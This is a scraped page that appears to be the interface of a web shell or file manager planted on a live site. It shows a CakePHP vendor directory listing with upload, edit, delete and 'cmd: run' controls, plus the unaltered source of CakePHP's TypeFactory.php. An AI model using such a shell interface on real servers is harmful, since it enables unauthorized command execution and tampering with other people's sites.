/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
vendor
/
cakephp
/
cakephp
/
src
/
Database
/
/var/www/vhosts/ihelp.ro/httpdocs/vendor/cakephp/cakephp/src/Database
mkdir
upload
Name
Size
Mode
Actions
Driver/
-
0755
rm
Exception/
-
0755
rm
Expression/
-
0755
rm
Log/
-
0755
rm
Retry/
-
0755
rm
Schema/
-
0755
rm
Statement/
-
0755
rm
Type/
-
0755
rm
composer.json
1192
0644
edit
dl
rm
Connection.php
29032
0644
edit
dl
rm
ConstraintsInterface.php
1842
0644
edit
dl
rm
Driver.php
13021
0644
edit
dl
rm
DriverInterface.php
9588
0644
edit
dl
rm
Exception.php
572
0644
edit
dl
rm
ExpressionInterface.php
1367
0644
edit
dl
rm
FieldTypeConverter.php
4404
0644
edit
dl
rm
FunctionsBuilder.php
14662
0644
edit
dl
rm
IdentifierQuoter.php
7962
0644
edit
dl
rm
LICENSE.txt
1204
0644
edit
dl
rm
PostgresCompiler.php
2803
0644
edit
dl
rm
Query.php
82857
0644
edit
dl
rm
QueryCompiler.php
16899
0644
edit
dl
rm
README.md
10566
0644
edit
dl
rm
SchemaCache.php
3430
0644
edit
dl
rm
SqlDialectTrait.php
171
0644
edit
dl
rm
SqliteCompiler.php
937
0644
edit
dl
rm
SqlserverCompiler.php
5410
0644
edit
dl
rm
StatementInterface.php
6777
0644
edit
dl
rm
Type.php
165
0644
edit
dl
rm
TypeConverterTrait.php
2197
0644
edit
dl
rm
TypedResultInterface.php
1093
0644
edit
dl
rm
TypedResultTrait.php
1356
0644
edit
dl
rm
TypeFactory.php
5402
0644
edit
dl
rm
TypeInterface.php
3334
0644
edit
dl
rm
TypeMap.php
4587
0644
edit
dl
rm
TypeMapTrait.php
2389
0644
edit
dl
rm
ValueBinder.php
4533
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/vendor/cakephp/cakephp/src/Database/TypeFactory.php
(5402B)
<?php declare(strict_types=1); /** * CakePHP(tm) : Rapid Development Framework (https://cakephp.org) * Copyright (c) Cake Software Foundation, Inc. (https://cakefoundation.org) * * Licensed under The MIT License * For full copyright and license information, please see the LICENSE.txt * Redistributions of files must retain the above copyright notice. * * @copyright Copyright (c) Cake Software Foundation, Inc. (https://cakefoundation.org) * @link https://cakephp.org CakePHP(tm) Project * @since 4.0.0 * @license https://opensource.org/licenses/mit-license.php MIT License */ namespace Cake\Database; use InvalidArgumentException; /** * Factory for building database type classes. */ class TypeFactory { /** * List of supported database types. A human readable * identifier is used as key and a complete namespaced class name as value * representing the class that will do actual type conversions. * * @var array<string, string> * @psalm-var array<string, class-string<\Cake\Database\TypeInterface>> */ protected static $_types = [ 'tinyinteger' => Type\IntegerType::class, 'smallinteger' => Type\IntegerType::class, 'integer' => Type\IntegerType::class, 'biginteger' => Type\IntegerType::class, 'binary' => Type\BinaryType::class, 'binaryuuid' => Type\BinaryUuidType::class, 'boolean' => Type\BoolType::class, 'date' => Type\DateType::class, 'datetime' => Type\DateTimeType::class, 'datetimefractional' => Type\DateTimeFractionalType::class, 'decimal' => Type\DecimalType::class, 'float' => Type\FloatType::class, 'json' => Type\JsonType::class, 'string' => Type\StringType::class, 'char' => Type\StringType::class, 'text' => Type\StringType::class, 'time' => Type\TimeType::class, 'timestamp' => Type\DateTimeType::class, 'timestampfractional' => Type\DateTimeFractionalType::class, 'timestamptimezone' => Type\DateTimeTimezoneType::class, 'uuid' => Type\UuidType::class, ]; /** * Contains a map of type object instances to be reused if needed. * * @var array<\Cake\Database\TypeInterface> */ protected static $_builtTypes = []; /** * Returns a Type object capable of converting a type identified by name. * * @param string $name type identifier * @throws \InvalidArgumentException If type identifier is unknown * @return \Cake\Database\TypeInterface */ public static function build(string $name): TypeInterface { if (isset(static::$_builtTypes[$name])) { return static::$_builtTypes[$name]; } if (!isset(static::$_types[$name])) { throw new InvalidArgumentException(sprintf('Unknown type "%s"', $name)); } return static::$_builtTypes[$name] = new static::$_types[$name]($name); } /** * Returns an arrays with all the mapped type objects, indexed by name. * * @return array<\Cake\Database\TypeInterface> */ public static function buildAll(): array { $result = []; foreach (static::$_types as $name => $type) { $result[$name] = static::$_builtTypes[$name] ?? static::build($name); } return $result; } /** * Set TypeInterface instance capable of converting a type identified by $name * * @param string $name The type identifier you want to set. * @param \Cake\Database\TypeInterface $instance The type instance you want to set. * @return void */ public static function set(string $name, TypeInterface $instance): void { static::$_builtTypes[$name] = $instance; static::$_types[$name] = get_class($instance); } /** * Registers a new type identifier and maps it to a fully namespaced classname. * * @param string $type Name of type to map. * @param string $className The classname to register. * @return void * @psalm-param class-string<\Cake\Database\TypeInterface> $className */ public static function map(string $type, string $className): void { static::$_types[$type] = $className; unset(static::$_builtTypes[$type]); } /** * Set type to classname mapping. * * @param array<string> $map List of types to be mapped. * @return void * @psalm-param array<string, class-string<\Cake\Database\TypeInterface>> $map */ public static function setMap(array $map): void { static::$_types = $map; static::$_builtTypes = []; } /** * Get mapped class name for given type or map array. * * @param string|null $type Type name to get mapped class for or null to get map array. * @return array<string>|string|null Configured class name for given $type or map array. */ public static function getMap(?string $type = null) { if ($type === null) { return static::$_types; } return static::$_types[$type] ?? null; } /** * Clears out all created instances and mapped types classes, useful for testing * * @return void */ public static function clear(): void { static::$_types = []; static::$_builtTypes = []; } }
Save
cmd:
run